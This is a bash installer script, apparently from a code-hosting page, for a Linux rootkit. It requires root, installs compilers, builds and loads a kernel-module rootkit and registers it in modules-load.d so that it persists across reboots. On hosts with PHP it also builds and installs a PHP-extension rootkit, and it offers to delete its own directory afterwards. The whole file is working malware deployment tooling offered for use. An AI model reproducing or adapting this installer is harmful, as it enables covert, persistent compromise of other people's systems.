You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 

183 lines
4.5 KiB

#!/bin/bash
## TODO:
## * Check for DNF - and utilize.
# Errors and Fatals
[ $(uname) != "Linux" ] &&
{
echo "Not on a Linux system. Exiting..."
exit
}
[ $(id -u) != 0 ] &&
{
echo "Not root. Exiting..."
exit
}
[ ! -e /proc ] &&
{
echo "We're in a horrible jail as /proc doesn't exist. Exiting..."
exit
}
CHATTR_OUTPUT=$(touch children; chattr +ia children &>output; cat output)
[[ $CHATTR_OUTPUT == *"Inappropriate ioctl"* ]] &&
{
read -p "Warning: You're attempting to install on a weird/alien filesystem, This is bad. Exiting..."
exit
}
chattr -ia children &>/dev/null
rm -f children output
mkdir -p logs/ bin/
install_prerequisites ()
{
HAVE_PHP=0
if [ -f /usr/bin/yum ]; then
yum install -y -q -e 0 attr make gcc libgcc glibc-devel glibc-static &>/dev/null
elif [ -f /usr/bin/apt-get ]; then
apt-get --yes --force-yes update &>/dev/null
apt-get --yes --force-yes install attr gcc-multilib build-essential &>/dev/null
PHP_OUTPUT=$(php -v &>output; cat output)
[[ $PHP_OUTPUT != *"not found"* ]] &&
{
echo "PHP envionment detected!"
HAVE_PHP=1
apt-get --yes --force-yes install php-dev &>/dev/null
apt-get --yes --force-yes install php5-dev &>/dev/null
}
rm -f output
elif [ -f /usr/bin/pacman ]; then
pacman -Syy &>/dev/null
pacman -S --noconfirm attr base-devel &>/dev/null
PHP_OUTPUT=$(php -v &>output; cat output)
[[ $PHP_OUTPUT != *"not found"* ]] &&
{
echo "PHP envionment detected!"
HAVE_PHP=1
}
rm -f output
fi
}
compile_rkkern ()
{
cd rkkern
make clean
MAKE_OUTPUT=$(make all &>../logs/rkkern.build.log; cat ../logs/rkkern.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The LKM Rootkit was unable to compile, check logs. Exiting..."
exit
}
cp *.ko ../bin
cp *.ko /rkkern.ko
cd ..
}
install_rkkern ()
{
rmmod rkkern
cp bin/rkkern.ko /lib/modules/$(uname -r)/kernel/drivers/
echo 'rkkern' > /etc/modules-load.d/rkkern.conf
depmod
modprobe rkkern
}
compile_rkphp_nodebug ()
{
cd rkphp
phpize --clean
phpize
CONFIG_OUTPUT=$(./configure --with-rkphp &>../logs/rkphp.configure.log; cat ../logs/rkphp.configure.log)
[[ $CONFIG_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to configure, check logs. Exiting..."
}
MAKE_OUTPUT=$(make &>../logs/rkphp.build.log; cat ../logs/rkphp.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to compile, check logs. Exiting..."
exit
}
cd ..
}
compile_rkphp_debug ()
{
cd rkphp
phpize --clean
phpize
CONFIG_OUTPUT=$(./configure --with-rkphp --enable-debug &>../logs/rkphp.configure.log; cat ../logs/rkphp.configure.log)
[[ $CONFIG_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to configure, check logs. Exiting..."
}
MAKE_OUTPUT=$(make &>../logs/rkphp.build.log; cat ../logs/rkphp.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to compile, check logs. Exiting..."
exit
}
cd ..
}
install_rkphp ()
{
cd rkphp
MAKE_OUTPUT=$(make install &>../logs/rkphp.install.log; cat ../logs/rkphp.install.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rookit was unable to install, check logs. Exiting..."
exit
}
cd ..
}
echo "Installing prerequisite packages."
install_prerequisites
echo "Prerequisite packages installed!"
echo "Compiling LKM rootkit."
sleep 2
compile_rkkern
echo "LKM Rootkit compiled!"
sleep 2
echo "Installing LKM Rootkit."
sleep 2
install_rkkern
echo "LKM Rootkit installed!"
sleep 2
if [ "$HAVE_PHP" -eq "1" ]; then
echo "Compiling PHP Rootkit."
sleep 2
compile_rkphp_debug
echo "PHP Rootkit compiled!"
sleep 2
echo "Installing PHP Rootkit."
sleep 2
install_rkphp
echo "PHP Rootkit installed!"
sleep 2
else
echo "Unable to detect any sort of PHP Environment, skipping rkphp build!"
fi
read -p "Would you like to automatically remove this directory (`pwd`) on exit? (YES/NO) (case-sensitive) [NO]: "
if [ -z $REPLY ]; then
echo "Not removing `pwd`"
elif [ "$REPLY" == "YES" ]; then
rm -rf `pwd`
elif [ "$REPLY" == "NO" ]; then
echo "Not removing `pwd`"
else
echo "Invalid option. Not removing."
fi
echo "Installation has finished."